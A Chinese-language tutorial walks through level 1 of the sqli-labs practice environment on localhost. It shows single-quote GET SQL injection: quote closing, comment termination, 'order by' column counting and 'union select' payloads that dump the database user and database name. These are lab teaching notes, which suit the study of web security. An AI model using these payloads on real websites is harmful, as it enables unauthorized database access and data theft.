注入学习之sqli-labs-2(第一关)

前言

从这一节开始,一个个关卡来学习sql注入

从最基础的sql语句开始

环境配置完成后,还有一个步骤需要做,要安装一下sqli数据库,环境配置那节课忘了说了,如果下图:

浏览器输入127.0.0.1后

需要下你点击第二行,进行sqli数据库安装

点击后出现下图,表示安装完成

返回127.0.0.1也没。选择第一行,开始闯关

一进入,界面会显示提示你输入参数ID

原url http://127.0.0.1/Less-1/

输入参数ID http://127.0.0.1/Less-1/?id=1

我们主要在这个url上进行测试

0x01 开始测试

GET型注入,基于单引号

Id=1

Id=2

根据网页返回结果,初步判断sql语句为

Select * from table where ID = number (number是指我们输入的参数)

没有mysql语句基础的朋友,可以先去看一下相关基础知识,很容易理解的

但是,我们要的查询语句真的是这样吗?

我们加个单引号测试

url变成:http://127.0.0.1/Less-1/?id=1

则页面报错如图:

我们来分析下报错语句

Near ‘’1’’ LIMIT0,1’ at line 1

其中1’使我们的输入

那么整个报错语句可看成是这样

Near ” 1’ ’ LIMIT 0,1’ at line 1

再拆分一下,最外层的单引号是错误提示加上去的,而中间那对才是sql语句里面的

即变成:

Near ’ ’ 1’ ’ LIMIT1,1’

所以我们在这里猜测的sql语句应该为

Select * from table where id = ‘number’

知道了sql语句,我们就好构造攻击代码

0x02 利用方式

两种方法

一种是引号闭合

http://127.0.0.1/Less-1/?id=1’ and ’1’=’1

一种是添加注释符号

http://127.0.0.1/Less-1/?id=1’ --+ (也可用编码后的#,为 %23,作用都是为了把剩余的一个单引号注释掉)

既然有了攻击方法,那么

1 猜字字列数

1’ order by 1 --+ 返回正常

1’ order by 2 --+ 返回正常

1’ order by 3 --+ 返回正常

1’ order by 4 --+ 返回错误

说明列数为3

2 让sql 爆出用户名

1’and 1=2 union select 1,2,user()--+

整个语句的意思是:通过 and 1=2 让前面的查询结果永远等于空,那就只会查询出 union 后面的结果

3 爆出更多数据信息

1’ and 1=2 union select 1,2, concat(user(),0x3A,0x3A,database())--+

其中concat函数,是一个连接函数。主要是让数据库直接爆出多个参数

0x3A转化为 ASCII 为冒号,仅仅是为了把 user() 和 database()隔开,user()函数便是查询当前用户名,database()表示查询当前数据库名。

也可以一个一个查询,语句如下

1’ and 1=2 union select 1,2, database()--+

有了当前用户名,数据库名,就可以下一步深入,查询表名,列明,用户名和密码之类的

Root权限足够,还可以做其他操作。

因为涉及到其他sql语句,这里先不讲,怕有些朋友一下子消化不了,我们下一节课在讲。

0x03 总结

我们为什么先去测试ID的参数改变,然后在测试 单引号。总的一点来说,我们是为了准确的判断sql的查询语句。知道了sql的查询语句,我们就能构造出让数据库爆出本不应该出现的内容。这样就达到了我们的目的

1、如过觉得文章帮助到了你,请帮忙手动转发,谢谢各位老铁支持

2、禁止使用该文章用于非法用途

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-06-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏同步博客

MySQL注入与防御

  在一个应用中,数据的安全无疑是最重要的。数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题!

1622
来自专栏北京马哥教育

alter table锁表,MySQL出现Waiting for table metadata lock的场景浅析及解决方案

在修改/增加表字段的时候,发现很慢, show processlist; 时, Waiting for table metadata lock 能一直锁很久。 ...

4898
来自专栏阿杜的世界

Java Web技术经验总结(十四)

这个语句如果只是查询前面几页,或者是表的数据量不大(小于10万),就没有问题,否则就会出现慢查询。参考文章:【MySQL】 性能优化之 延迟关联进行了优化。

661
来自专栏魏艾斯博客www.vpsss.net

MySQL 数据库类型从 InnoDB 转换为 MyISAM

1756
来自专栏你不就像风一样

Hibernate各种主键生成策略与配置详解

主键由外部程序负责生成,在 save() 之前必须指定一个。Hibernate不负责维护主键生成。与Hibernate和底层数据库都无关,可以跨数据库。在存储对...

1082
来自专栏魏艾斯博客www.vpsss.net

MySQL 数据库类型从 InnoDB 转换为 MyISAM

魏艾斯博客有一个 wordpress 站点,有一天无意中发现数据库挺大的,可是这个站也就不到 10 篇文章,没道理这么大的数据库啊。然后开始查找原因,发现在 p...

51622
来自专栏小尘哥的专栏

springboot之文件上传、图片预览(thymeleaf+layui)

1、上传 ①.使用spring的正常上传,文件存储路径为磁盘任意位置,可配置 ②.业务表中存附件id ③.前端使用Layui 2、预览 ①.使用nginx代理,...

2512
来自专栏余林丰

再说单例模式的线程安全问题

今天和同事聊起了单例模式的线程安全,我说如果不做任何措施,单例模式在多线程下是不安全的,得到的“单例”实际上并不是单例。但是为什么不是单例呢?由此我上网查了一下...

1946
来自专栏大学生计算机视觉学习DeepLearning

新手 php连接数据库大概。简单过程浅析以及遇到的问题分析

1586
来自专栏前端儿

Web 后端--PHP 与数据库的交互

         用 PHP  操作 MySQL ,实现数据的交换,还要多练练....

1091

扫码关注云+社区

领取腾讯云代金券